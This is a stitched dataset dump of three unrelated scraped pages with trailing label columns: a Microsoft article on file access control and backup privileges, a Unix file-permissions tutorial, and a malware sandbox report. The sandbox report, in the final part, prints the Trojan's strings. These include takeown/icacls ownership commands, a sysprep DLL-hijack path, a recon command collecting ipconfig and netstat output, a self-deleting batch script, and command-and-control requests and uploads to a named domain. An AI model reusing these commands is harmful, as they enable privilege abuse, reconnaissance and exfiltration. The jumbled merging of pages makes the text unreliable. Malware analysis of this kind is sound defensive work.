inheriting directory object. For example, some inherited ACEs control access to the inherited directory object, and these are called effective ACEs. All other ACEs are called inherit-only ACEs. The Windows security model also enforces the automatic inheritance of ACEs to child objects according to the ACE inheritance rules. This automatic inheritance, along with the inheritance information in each ACE, determines how security restrictions are passed down the directory hierarchy. Note that you cannot use an access-denied ACE to deny only GENERIC_READ or only GENERIC_WRITE access to a file. This is because for file objects, the generic mappings for both GENERIC_READ or GENERIC_WRITE include the SYNCHRONIZE access right. If an ACE denies GENERIC_WRITE access to a trustee, and the trustee requests GENERIC_READ access, the request will fail because the request implicitly includes SYNCHRONIZE access which is implicitly denied by the ACE, and vice versa. Instead of using access-denied ACEs, use access-allowed ACEs to explicitly allow the permitted access rights. Another means of managing access to storage objects is encryption. The implementation of file system encryption in Windows is the Encrypted File System, or EFS. EFS encrypts only files and not directories. The advantage of encryption is that it provides additional protection to files that is applied on the media and not through the file system and the standard Windows access control architecture. For more information on file encryption, see File Encryption. In most cases, the ability to read and write the security settings of a file or directory object is restricted to kernel-mode processes. Clearly, you would not want any user process to be able to change the ownership or access restriction on your private file or directory. However, a backup application would not be able to complete its job of backing up your file if the access restrictions you have placed on your file or directory does not allow the application's user-mode process to read it. Backup applications must be able to override the security settings of file and directory objects to ensure a complete backup. Similarly, if a backup application attempts to write a backup copy of your file over the disk-resident copy, and you explicitly deny write privileges to the backup application process, the restore operation cannot complete. In this case also, the backup application must be able to override the access control settings of your file. The SE_BACKUP_NAME and SE_RESTORE_NAME access privileges were specifically created to provide this ability to backup applications. If these privileges have been granted and enabled in the access token of the backup application process, it can then call CreateFile to open your file or directory for backup, specifying the standard READ_CONTROL access right as the value of the dwDesiredAccess parameter. However, to identify the calling process as a backup process, the call to CreateFile must include the FILE_FLAG_BACKUP_SEMANTICS flag in the dwFlagsAndAttributes parameter. The full syntax of the function call is the following: HANDLE hFile = CreateFile( fileName, // lpFileName READ_CONTROL, // dwDesiredAccess 0, // dwShareMode NULL, // lpSecurityAttributes OPEN_EXISTING, // dwCreationDisposition FILE_FLAG_BACKUP_SEMANTICS, // dwFlagsAndAttributes NULL ); // hTemplateFile This will allow the backup application process to open your file and override the standard security checking. To restore your file, the backup application would use the following CreateFile call syntax when opening your file to be written. HANDLE hFile = CreateFile( fileName, // lpFileName WRITE_OWNER | WRITE_DAC, // dwDesiredAccess 0, // dwShareMode NULL, // lpSecurityAttributes CREATE_ALWAYS, // dwCreationDisposition FILE_FLAG_BACKUP_SEMANTICS, // dwFlagsAndAttributes NULL ); // hTemplateFile There are situations when a backup application must be able to change the access control settings of a file or directory. An example is when the access control settings of the disk-resident copy of a file or directory is different from the backup copy. This would happen if these settings were changed after the file or directory was backed up, or if it was corrupted. The FILE_FLAG_BACKUP_SEMANTICS flag specified in the call to CreateFile gives the backup application process permission to read the access-control settings of the file or directory. With this permission, the backup application process can then call GetKernelObjectSecurity and SetKernelObjectSecurity to read and than reset the access-control settings. If a backup application must have access to the system-level access control settings, the ACCESS_SYSTEM_SECURITY flag must be specified in the dwDesiredAccess parameter value passed to CreateFile. Backup applications call BackupRead to read the files and directories specified for the restore operation, and BackupWrite to write them. Related topics Standard Access Rights \xc2 \xc2 Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Unix / Linux - File Permission / Access Modes - Tutorialspoint Home Jobs Tools Coding Ground Current Affairs UPSC Notes Online Tutors Whiteboard Net Meeting Tutorix Categories Academic Tutorials Big Data & Analytics Computer Programming Computer Science Databases DevOps Digital Marketing Engineering Tutorials Exams Syllabus Famous Monuments GATE Exams Tutorials Latest Technologies Machine Learning Mainframe Development Management Tutorials Mathematics Tutorials Microsoft Technologies Misc tutorials Mobile Development Java Technologies Python Technologies SAP Tutorials Programming Scripts Selected Reading Software Quality Soft Skills Telecom Tutorials UPSC IAS Exams Web Development Sports Tutorials XML Technologies Multi-Language Tutorials Interview Questions Library Videos Q/A eBooks Library Videos eBooks Unix / Linux for Beginners Unix / Linux - Home Unix / Linux - Getting Started Unix / Linux - File Management Unix / Linux - Directories Unix / Linux - File Permission Unix / Linux - Environment Unix / Linux - Basic Utilities Unix / Linux - Pipes & Filters Unix / Linux - Processes Unix / Linux - Communication Unix / Linux - The vi Editor Unix / Linux Shell Programming Unix / Linux - Shell Scripting Unix / Linux - What is Shell? Unix / Linux - Using Variables Unix / Linux - Special Variables Unix / Linux - Using Arrays Unix / Linux - Basic Operators Unix / Linux - Decision Making Unix / Linux - Shell Loops Unix / Linux - Loop Control Unix / Linux - Shell Substitutions Unix / Linux - Quoting Mechanisms Unix / Linux - IO Redirections Unix / Linux - Shell Functions Unix / Linux - Manpage Help Advanced Unix / Linux Unix / Linux - Regular Expressions Unix / Linux - File System Basics Unix / Linux - User Administration Unix / Linux - System Performance Unix / Linux - System Logging Unix / Linux - Signals and Traps Unix / Linux Useful Resources Unix / Linux - Questions & Answers Unix / Linux - Useful Commands Unix / Linux - Quick Guide Unix / Linux - Builtin Functions Unix / Linux - System Calls Unix / Linux - Commands List Unix / Linux - Useful Resources Unix / Linux - Discussion Selected Reading UPSC IAS Exams Notes Developer's Best Practices Questions and Answers Effective Resume Writing HR Interview Questions Computer Glossary Who is Who Unix / Linux - File Permission / Access Modes Advertisements Previous Page Next Page \xc2 In this chapter, we will discuss in detail about file permission and access modes in Unix. File ownership is an important component of Unix that provides a secure method for storing files. Every file in Unix has the following attributes \xe2\x88\x92 Owner permissions \xe2\x88\x92 The owner's permissions determine what actions the owner of the file can perform on the file. Group permissions \xe2\x88\x92 The group's permissions determine what actions a user, who is a member of the group that a file belongs to, can perform on the file. Other (world) permissions \xe2\x88\x92 The permissions for others indicate what action all other users can perform on the file. The Permission Indicators While using ls -l command, it displays various information related to file permission as follows \xe2\x88\x92 $ls -l /home/amrood -rwxr-xr-- 1 amrood users 1024 Nov 2 00:10 myfile drwxr-xr--- 1 amrood users 1024 Nov 2 00:10 mydir Here, the first column represents different access modes, i.e., the permission associated with a file or a directory. The permissions are broken into groups of threes, and each position in the group denotes a specific permission, in this order: read (r), write (w), execute (x) \xe2\x88\x92 The first three characters (2-4) represent the permissions for the file's owner. For example, -rwxr-xr-- represents that the owner has read (r), write (w) and execute (x) permission. The second group of three characters (5-7) consists of the permissions for the group to which the file belongs. For example, -rwxr-xr-- represents that the group has read (r) and execute (x) permission, but no write permission. The last group of three characters (8-10) represents the permissions for everyone else. For example, -rwxr-xr-- represents that there is read (r) only permission. File Access Modes The permissions of a file are the first line of defense in the security of a Unix system. The basic building blocks of Unix permissions are the read, write, and execute permissions, which have been described below \xe2\x88\x92 Read Grants the capability to read, i.e., view the contents of the file. Write Grants the capability to modify, or remove the content of the file. Execute User with execute permissions can run a file as a program. Directory Access Modes Directory access modes are listed and organized in the same manner as any other file. There are a few differences that need to be mentioned \xe2\x88\x92 Read Access to a directory means that the user can read the contents. The user can look at the filenames inside the directory. Write Access means that the user can add or delete files from the directory. Execute Executing a directory doesn't really make sense, so think of this as a traverse permission. A user must have execute access to the bin directory in order to execute the ls or the cd command. Changing Permissions To change the file or the directory permissions, you use the chmod (change mode) command. There are two ways to use chmod \xe2\x80\x94 the symbolic mode and the absolute mode. Using chmod in Symbolic Mode The easiest way for a beginner to modify file or directory permissions is to use the symbolic mode. With symbolic permissions you can add, delete, or specify the permission set you want by using the operators in the following table. Sr.No. Chmod operator & Description 1 + Adds the designated permission(s) to a file or directory. 2 - Removes the designated permission(s) from a file or directory. 3 = Sets the designated permission(s). Here's an example using testfile. Running ls -1 on the testfile shows that the file's permissions are as follows \xe2\x88\x92 $ls -l testfile -rwxrwxr-- 1 amrood users 1024 Nov 2 00:10 testfile Then each example chmod command from the preceding table is run on the testfile, followed by ls \xe2\x80\x93l, so you can see the permission changes \xe2\x88\x92 $chmod o+wx testfile $ls -l testfile -rwxrwxrwx 1 amrood users 1024 Nov 2 00:10 testfile $chmod u-x testfile $ls -l testfile -rw-rwxrwx 1 amrood users 1024 Nov 2 00:10 testfile $chmod g = rx testfile $ls -l testfile -rw-r-xrwx 1 amrood users 1024 Nov 2 00:10 testfile Here's how you can combine these commands on a single line \xe2\x88\x92 $chmod o+wx,u-x,g = rx testfile $ls -l testfile -rw-r-xrwx 1 amrood users 1024 Nov 2 00:10 testfile Using chmod with Absolute Permissions The second way to modify permissions with the chmod command is to use a number to specify each set of permissions for the file. Each permission is assigned a value, as the following table shows, and the total of each set of permissions provides a number for that set. Number Octal Permission Representation Ref 0 No permission --- 1 Execute permission --x 2 Write permission -w- 3 Execute and write permission: 1 (execute) + 2 (write) = 3 -wx 4 Read permission r-- 5 Read and execute permission: 4 (read) + 1 (execute) = 5 r-x 6 Read and write permission: 4 (read) + 2 (write) = 6 rw- 7 All permissions: 4 (read) + 2 (write) + 1 (execute) = 7 rwx Here's an example using the testfile. Running ls -1 on the testfile shows that the file's permissions are as follows \xe2\x88\x92 $ls -l testfile -rwxrwxr-- 1 amrood users 1024 Nov 2 00:10 testfile Then each example chmod command from the preceding table is run on the testfile, followed by ls \xe2\x80\x93l, so you can see the permission changes \xe2\x88\x92 $ chmod 755 testfile $ls -l testfile -rwxr-xr-x 1 amrood users 1024 Nov 2 00:10 testfile $chmod 743 testfile $ls -l testfile -rwxr---wx 1 amrood users 1024 Nov 2 00:10 testfile $chmod 043 testfile $ls -l testfile ----r---wx 1 amrood users 1024 Nov 2 00:10 testfile Changing Owners and Groups While creating an account on Unix, it assigns a owner ID and a group ID to each user. All the permissions mentioned above are also assigned based on the Owner and the Groups. Two commands are available to change the owner and the group of files \xe2\x88\x92 chown \xe2\x88\x92 The chown command stands for ""change owner"" and is used to change the owner of a file. chgrp \xe2\x88\x92 The chgrp command stands for ""change group"" and is used to change the group of a file. Changing Ownership The chown command changes the ownership of a file. The basic syntax is as follows \xe2\x88\x92 $ chown user filelist The value of the user can be either the name of a user on the system or the user id (uid) of a user on the system. The following example will help you understand the concept \xe2\x88\x92 $ chown amrood testfile $ Changes the owner of the given file to the user amrood. NOTE \xe2\x88\x92 The super user, root, has the unrestricted capability to change the ownership of any file but normal users can change the ownership of only those files that they own. Changing Group Ownership The chgrp command changes the group ownership of a file. The basic syntax is as follows \xe2\x88\x92 $ chgrp group filelist The value of group can be the name of a group on the system or the group ID (GID) of a group on the system. Following example helps you understand the concept \xe2\x88\x92 $ chgrp special testfile $ Changes the group of the given file to special group. SUID and SGID File Permission Often when a command is executed, it will have to be executed with special privileges in order to accomplish its task. As an example, when you change your password with the passwd command, your new password is stored in the file /etc/shadow. As a regular user, you do not have read or write access to this file for security reasons, but when you change your password, you need to have the write permission to this file. This means that the passwd program has to give you additional permissions so that you can write to the file /etc/shadow. Additional permissions are given to programs via a mechanism known as the Set User ID (SUID) and Set Group ID (SGID) bits. When you execute a program that has the SUID bit enabled, you inherit the permissions of that program's owner. Programs that do not have the SUID bit set are run with the permissions of the user who started the program. This is the case with SGID as well. Normally, programs execute with your group permissions, but instead your group will be changed just for this program to the group owner of the program. The SUID and SGID bits will appear as the letter ""s"" if the permission is available. The SUID ""s"" bit will be located in the permission bits where the owners\xe2\x80\x99 execute permission normally resides. For example, the command \xe2\x88\x92 $ ls -l /usr/bin/passwd -r-sr-xr-x 1 root bin 19031 Feb 7 13:47 /usr/bin/passwd* $ Shows that the SUID bit is set and that the command is owned by the root. A capital letter S in the execute position instead of a lowercase s indicates that the execute bit is not set. If the sticky bit is enabled on the directory, files can only be removed if you are one of the following users \xe2\x88\x92 The owner of the sticky directory The owner of the file being removed The super user, root To set the SUID and SGID bits for any directory try the following command \xe2\x88\x92 $ chmod ug+s dirname $ ls -l drwsr-sr-x 2 root root 4096 Jun 19 06:45 dirname $ Previous Page Print Page Next Page \xc2 Advertisements About us Terms of use Cookies Policy FAQ's Helping Contact \xc2\xa9 Copyright 2019. All Rights Reserved.","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"This website uses cookies to enhance your browsing experience. Please note that by continuing to use this site you consent to the terms of our Data Protection Policy. Toggle navigation Logo malicious Threat Score: 100/100AV Detection: 68%Labeled as: MemScan:Trojan.Generic c9b65b764985dfd7a11d3faf599c56b8 This report is generated from a file or URL submitted to this webservice on June 12th 2018 01:20:26 (CEST) Guest System: Windows 7 32 bit, Home Premium, 6.1 (build 7601), Service Pack 1 Report generated by Falcon Sandbox v8.10 \xc2\xa9 Hybrid Analysis Incident Response Risk Assessment Persistence Grants permissions using icacls (DACL modification) Injects into explorer Injects into remote processes Spawns a lot of processes Tries to take ownership of files Writes data to a remote process Network Behavior Contacts 1 domain and 1 host. Indicators Not all malicious and suspicious indicators are displayed. Get your own cloud service or the full version to view all details. Malicious Indicators17 Environment Awareness The input sample contains a known anti-VM trick External Systems Detected Suricata Alert Found an IP/URL artifact that was identified as malicious by a significant amount of reputation engines Sample was identified as malicious by a large number of Antivirus engines Sample was identified as malicious by at least one Antivirus engine General The analysis extracted a file that was identified as malicious The analysis spawned a process that was identified as malicious Installation/Persistance Allocates virtual memory in a remote process Injects into explorer Injects into remote processes Writes data to a remote process Pattern Matching YARA signature match System Security Modifies the access control lists of files Unusual Characteristics Spawns a lot of processes Hiding 3 Malicious Indicators All indicators are available only in the private webservice or standalone version Suspicious Indicators21 Anti-Detection/Stealthyness Contains ability to open/control a service Queries process information Anti-Reverse Engineering PE file has unusual entropy sections PE file is packed with UPX Cryptographic Related Found a cryptographic related string Environment Awareness Contains ability to query CPU information External Systems Found an IP/URL artifact that was identified as malicious by at least one reputation engine General Contains ability to find and load resources of a specific module Installation/Persistance Contains ability to create a remote thread (often used for process injection) Contains ability to write to a remote process Creates new processes Drops executable files Spyware/Information Retrieval Contains ability to enumerate processes/modules/threads System Destruction Marks file for deletion Opens file with deletion access rights System Security Grants permissions using icacls (DACL modification) Tries to take ownership of files Unusual Characteristics CRC value set in PE header does not match actual value Entrypoint in PE header is within an uncommon section Imports suspicious APIs Hiding 1 Suspicious Indicators All indicators are available only in the private webservice or standalone version Informative30 Anti-Reverse Engineering Contains ability to register a top-level exception handler (often used as anti-debugging trick) PE file contains zero-size sections Environment Awareness Contains ability to query machine time Contains ability to query the machine version Contains ability to query the system locale Makes a code branch decision directly after an API that is environment aware Reads the active computer name Tries to sleep for a long time (more than two minutes) General Contacts domains Contacts server Contains PDB pathways Creates a writable file in a temporary directory Creates mutants GETs files from a webserver Launches a browser Process launched with changed environment Runs shell commands Spawns new processes Tries to GET non-existent files from a webserver Installation/Persistance Connects to LPC ports Dropped files Modifies auto-execute functionality by setting/creating a value in the registry Monitors specific registry key for changes Opens the MountPointManager (often used to detect additional infection locations) Touches files in the Windows directory Network Related Found potential URL in binary/memory HTTP request contains Base64 encoded artifacts Unusual Characteristics Installs hooks/patches the running process Matched Compiler/Packer signature Reads information about supported languages File Details All Details: c9b65b764985dfd7a11d3faf599c56b8 Filename c9b65b764985dfd7a11d3faf599c56b8 Size 305KiB (312320 bytes) Type peexe executable Description PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed Architecture WINDOWS SHA256 ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4dCopy SHA256 to clipboard Compiler/Packer UPX v1.25 (Delphi) Stub Resources Language KOREAN Icon Sample Icon Visualization Input File (PortEx) PE Visualization Classification (TrID) 42.3% (.EXE) UPX compressed Win32 Executable 36.7% (.EXE) Win32 EXE Yoda's Crypter 9.1% (.DLL) Win32 Dynamic Link Library (generic) 6.2% (.EXE) Win32 Executable (generic) 2.7% (.EXE) Generic Win/DOS Executable File Metadata File Compositions Imported Objects File Analysis 1 .OBJ Files (COFF) linked with LINK.EXE 10.10 (Visual Studio 2010) (build: 30319) 1 .RES Files linked with CVTRES.EXE 10.00 (Visual Studio 2010) (build: 30319) 1 .CPP Files (with LTCG) compiled with CL.EXE 16.00 (Visual Studio 2010) (build: 30319) File Sections Details Name UPX0 Entropy 0 Virtual Address 0x1000 Virtual Size 0x22d000 Raw Size 0x0 MD5 d41d8cd98f00b204e9800998ecf8427e Name UPX1 Entropy 7.9309190833 Virtual Address 0x22e000 Virtual Size 0x4c000 Raw Size 0x4ba00 MD5 fafee9506c2cb7606718693156703f67 Name .rsrc Entropy 4.06720567587 Virtual Address 0x27a000 Virtual Size 0x1000 Raw Size 0x600 MD5 80e9f3854461573cdd5ef15498a07fd4 File Imports ADVAPI32.dll KERNEL32.DLL RegCloseKey Screenshots Hybrid Analysis Tip: Click an analysed process below to view more details. Analysed 10 processes in total. c9b65b764985dfd7a11d3faf599c56b8.exe (PID: 2084) 46/66 ~ER1AFA.tmp (PID: 2080) 43/53 explorer.exe (PID: 1468) sysprep.exe ""%WINDIR%\\System32\\sysprep\\sysprep.exe"" "" (PID: 3272) cmd.exe /c takeown /f ""%WINDIR%\\system32\\msimg64.dll"" && icacls ""%WINDIR%\\system32\\msimg64.dll"" /grant administrators:F (PID: 2272) takeown.exe takeown /f ""%WINDIR%\\system32\\msimg64.dll"" (PID: 2396) icacls.exe icacls ""%WINDIR%\\system32\\msimg64.dll"" /grant administrators:F (PID: 2596) iexplore.exe www.google.com (PID: 2096) iexplore.exe SCODEF:2096 CREDAT:79873 (PID: 2672) cmd.exe cmd /c d.bat (PID: 2832) Logged Script Calls Logged Stdout Extracted Streams Memory Dumps Reduced Monitoring Network Activity Network Error Multiscan Match Network Analysis DNS Requests Domain Address Registrar Country solarshade.co.kr 221.143.46.43 TTL: 179 Megazone(http://HOSTING.KR) Name Server: ns1.hosting.co.kr Creation Date: Sat, 14 Jan 2017 00:00:00 GMT Flag of Korea Republic of Korea Republic of Contacted Hosts IP Address Port/Protocol Associated Process Details 221.143.46.43 80 TCP iexplore.exe PID: 2096 Flag of Korea Republic of Korea Republic of Contacted Countries HTTP Traffic Endpoint Request URL Data 221.143.46.43:80 (solarshade.co.kr) GET /eml/goods_list_ok.php?no=0&id=YH^0A00278A626A[0]&sn=3740962&sc=b984cf5bcbf0f38f3d136d1f97103a91 GET /eml/goods_list_ok.php?no=0&id=YH^0A00278A626A[0]&sn=3740962&sc=b984cf5bcbf0f38f3d136d1f97103a91 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: solarshade.co.kr 404 Not Found 221.143.46.43:80 (solarshade.co.kr) GET /eml/goods_list_ok.php?no=0&id=YH^0A00278A626A[0]&sn=5265868&sc=2e03e977aa881c76f7df783789a1e026 GET /eml/goods_list_ok.php?no=0&id=YH^0A00278A626A[0]&sn=5265868&sc=2e03e977aa881c76f7df783789a1e026 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: solarshade.co.kr 404 Not Found 221.143.46.43:80 (solarshade.co.kr) GET /eml/goods_list_ok.php?no=0&id=YH^0A00278A626A[0]&sn=6906788&sc=412dd86c4ba55fde5144cf03627da841 GET /eml/goods_list_ok.php?no=0&id=YH^0A00278A626A[0]&sn=6906788&sc=412dd86c4ba55fde5144cf03627da841 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: solarshade.co.kr 404 Not Found Suricata Alerts Event Category Description SID 221.143.46.43:80 (TCP) Hidden Category Additional ETPro rules are available in the private webservice or standalone version Hidden SID 221.143.46.43:80 (TCP) A Network Trojan was detected CrowdStrike SILENT CHOLLIMA HTTP/IRC Bot/RAT and Concealment Troy GET Request 181303201 221.143.46.43:80 (TCP) Hidden Category Additional ETPro rules are available in the private webservice or standalone version Hidden SID 221.143.46.43:80 (TCP) Hidden Category Additional ETPro rules are available in the private webservice or standalone version Hidden SID 221.143.46.43:80 (TCP) A Network Trojan was detected CrowdStrike SILENT CHOLLIMA HTTP/IRC Bot/RAT and Concealment Troy GET Request 181303201 221.143.46.43:80 (TCP) A Network Trojan was detected CrowdStrike SILENT CHOLLIMA HTTP/IRC Bot/RAT and Concealment Troy GET Request 181303201 ET rules applied using Suricata. Extracted Strings All Details: All Strings (1399) Interesting (357) c9b65b764985dfd7a11d3faf599c56b8.exe.bin (272) ~ER1AFA.tmp:2080 (889) screen_0.png (11) ~ER24B7.tmp.2200803788 (2) cmd.exe (2) PCAP (8) sysprep.exe:3272 (42) setupact.log (7) c9b65b764985dfd7a11d3faf599c56b8.exe:2084 (22) ud.bat (8) ~13785.tmp (9) diagwrn.xml (34) diagerr.xml (3) iexplore.exe:2096 (65) takeown.exe:2396 (6) w7e2219.tmp.362704492 (3) network.pcap (8) ~ER1AFA.tmp.3895635532 (1) icacls.exe (1) explorer.exe:1468 (2) iexplore.exe (2) takeown.exe (1) setuperr.log (1) !""#$%&'()*+,-./0 ""%WINDIR%\\System32\\sysprep\\sysprep.exe"" "" $.6 ~]\\HTTP T.y %d.%d.%d.%d:%d %s ------> %s %s is installed successfully. %s\\cmd.exe /c %s %s\\mscorp.exe %s\\msimg64.dll %sPhysical Address. . . . . . . . . : %sIP Address. . . . . . . . . . . . : %sSubnet Mask . . . . . . . . . . . : %sDefault Gateway . . . . . . . . . : %sDhcp Enabled. . . . . . . . . . . : %d ******************* ""ERROR!"" code: [%d] *************** , msimg64.dll - unexpected heap error - unexpected multithread lock error -----------------------------7d414e351603faContent-Disposition: form-data; name=""no""1-----------------------------7d414e351603faContent-Disposition: form-data; name=""id""%s-----------------------------7d414e351603faContent-Disposition: -----------------------------7d414e351603faContent-Disposition: form-data; name=""no""1-----------------------------7d414e351603faContent-Disposition: form-data; name=""id""%s-----------------------------7d414e351603faContent-Disposition: form-data; name=""sn""%d-----------------------------7d414e351603faContent-Disposition: form-data; name=""sc""%s-----------------------------7d414e351603fa-- -----------------------------7d414e351603faContent-Disposition: form-data; name=""upfile""; filename=""title.gif""Content-Type: application/octet-stream .?AV__non_rtti_object@std@@ .?AVbad_alloc@std@@ .?AVbad_cast@std@@ .?AVbad_exception@std@@ .?AVbad_typeid@std@@ .?AVCRemoteMemory@W7EUtils@@ .?AVCTempResource@W7EUtils@@ .?AVexception@std@@ .?AVlength_error@std@@ .?AVlogic_error@std@@ .?AVout_of_range@std@@ .?AVtype_info@@ .a)0s^U!i! /c takeown /f ""%WINDIR%\\system32\\msimg64.dll"" && icacls ""%WINDIR%\\system32\\msimg64.dll"" /grant administrators:F /eml/goods_list_ok.php?no=0&id=YH^0A00278A626A[0]&sn=3740962&sc=b984cf5bcbf0f38f3d136d1f97103a91 /eml/goods_list_ok.php?no=0&id=YH^0A00278A626A[0]&sn=5265868&sc=2e03e977aa881c76f7df783789a1e026 /eml/goods_list_ok.php?no=0&id=YH^0A00278A626A[0]&sn=6906788&sc=412dd86c4ba55fde5144cf03627da841 033- Attempt to use MSIL code from this assembly during native code initializationThis indicates a bug in your application. It is most likely the result of calling an MSIL-compiled (/clr) function from a native constructor or from DllMain. 2- floating point support not loaded 2-9W2&:7:=:l: 2018-06-12 01:21:31, Error [0x0f0053] SYSPRP ValidateUser:User does not have required privileges to sysprep machine[gle=0x00000006] 2018-06-12 01:21:31, Error [0x0f00a1] SYSPRP WinMain: User must be an administrator.[gle=0x00000006] 2018-06-12 01:21:31, Info SYSPRP === Beginning of a new sysprep run === 2018-06-12 01:21:31, Info SYSPRP ======================================================== 2018-06-12 01:21:31, Info [0x0f004d] SYSPRP The time is now 2018-06-12 01:21:31 2018-06-12 01:21:31, Info [0x0f004e] SYSPRP Initialized SysPrep log at %WINDIR%\\System32\\sysprep\\Panther 3- Attempt to use MSIL code from this assembly during native code initializationThis indicates a bug in your application. It is most likely the result of calling an MSIL-compiled (/clr) function from a native constructor or from DllMain. 404 Not Found

Not Found

The requested URL /eml/goods_list_ok.php was not found on this server.


Apache/2.2.15 (CentOS) Server at solarshade.co.kr Port 80
Apache/2.2.15 (CentOS) Server at solarshade.co.kr Port 80
PAPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGX trueP truePPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGX truePPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGX

The requested URL /eml/goods_list_ok.php was not found on this server.

@%windir%\\System32\\ieframe.dll,-12385 @%WINDIR%\\System32\\ieframe.dll,-12385 @%windir%\\System32\\ieframe.dll.mui,-12385 @%WINDIR%\\System32\\ieframe.dll.mui,-12385 @echo off:startif not exist ""C:\\c9b65b764985dfd7a11d3faf599c56b8.exe"" goto donedel ""C:\\c9b65b764985dfd7a11d3faf599c56b8.exe""del /AH ""C:\\c9b65b764985dfd7a11d3faf599c56b8.exe""goto start:donedel %0 [General]Version = %sinterval=%dWakeup time = 20%02d:%d:%dModule Path = %s[WWW]%s \\RPC Control\\console-0x000008E8-lpc-handle \\RPC Control\\console-0x00000F9C-lpc-handle \\Sessions\\1\\Windows\\ApiPort \\sys.bat \\System32\\sysprep\\CRYPTBASE.dll \\ThemeApiPort `\\??\\Volume{8177f4e4-b53f-11e4-a9c2-806e6f6e6963} `\\??\\Volume{8177f4e5-b53f-11e4-a9c2-806e6f6e6963} `local static destructor helper' `local static guard' `local static thread guard' `local vftable constructor closure' `local vftable' ating point support not loaded bad compressed size Base Class Descriptor at ( %PROGRAMFILES%\\(x86)\\Internet Explorer\\iexplore.exe %PROGRAMFILES%\\Internet Explorer\\iexplore.exe %PROGRAMFILES%\\Internet Explorer\\iexplore.exe www.google.com %TEMP%\\~ER1AFA.tmp %WINDIR%\\System32\\sysprep %WINDIR%\\System32\\sysprep\\CRYPTBASE.dll %WINDIR%\\System32\\sysprep\\sysprep.exe Caller: can only get memory of a memory zipfile Caller: there was a previous error Cannot save value into registry. Class Hierarchy Descriptor' CMB.... cmd /c d.bat cmd /c date /t >> ""%s"" & time /t >> ""%s"" & ipconfig /all >> ""%s"" & netstat -an >> ""%s"" cmd.exe /c takeown /f ""%s"" && icacls ""%s"" /grant administrators:F CoCreateInstance CoGetObject CompatibilityFlags Complete Object Locator' ComputerName Content-Type: multipart/form-data; boundary=---------------------------7d414e351603fa ControlService CorExitProcess Couldn't open process CreatePipe CreateProcessA CreateProcessAsUserA CreateRemoteThread credssp.dll, msimg64.dll CryptDestroyKey CryptImportKey d heap error DefaultConnectionSettings del ""C:\\c9b65b764985dfd7a11d3faf599c56b8.exe"" del /AH ""C:\\c9b65b764985dfd7a11d3faf599c56b8.exe"" DependOnService Description DisableLocalOverride DOMAIN error ected heap error ected multithread lock error Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09} empt to use MSIL code from this assembly during native code initializationThis indicates a bug in your application. It is most likely the result of calling an MSIL-compiled (/clr) function from a native constructor or from DllMain. EnumServicesStatusExA EnumSystemLocalesA error Error code: %d Error Code: %d Error code: %d Error reading file Error writing to file ERROR_ACCESS_DENIED(We probably tried to inject into an elevated processwhich isn't allowed unless we're also elevated.Pick an unelevated process.) ExitProcess explorer.exe Failed to allocate memory Failed to join the new channel ""%s"". Failed to part the channel ""%s"". Maybe the channel is not existed. FlsGetValue FullScreen GET /eml/goods_list_ok.php?no=0&id=YH^0A00278A626A[0]&sn=3740962&sc=b984cf5bcbf0f38f3d136d1f97103a91 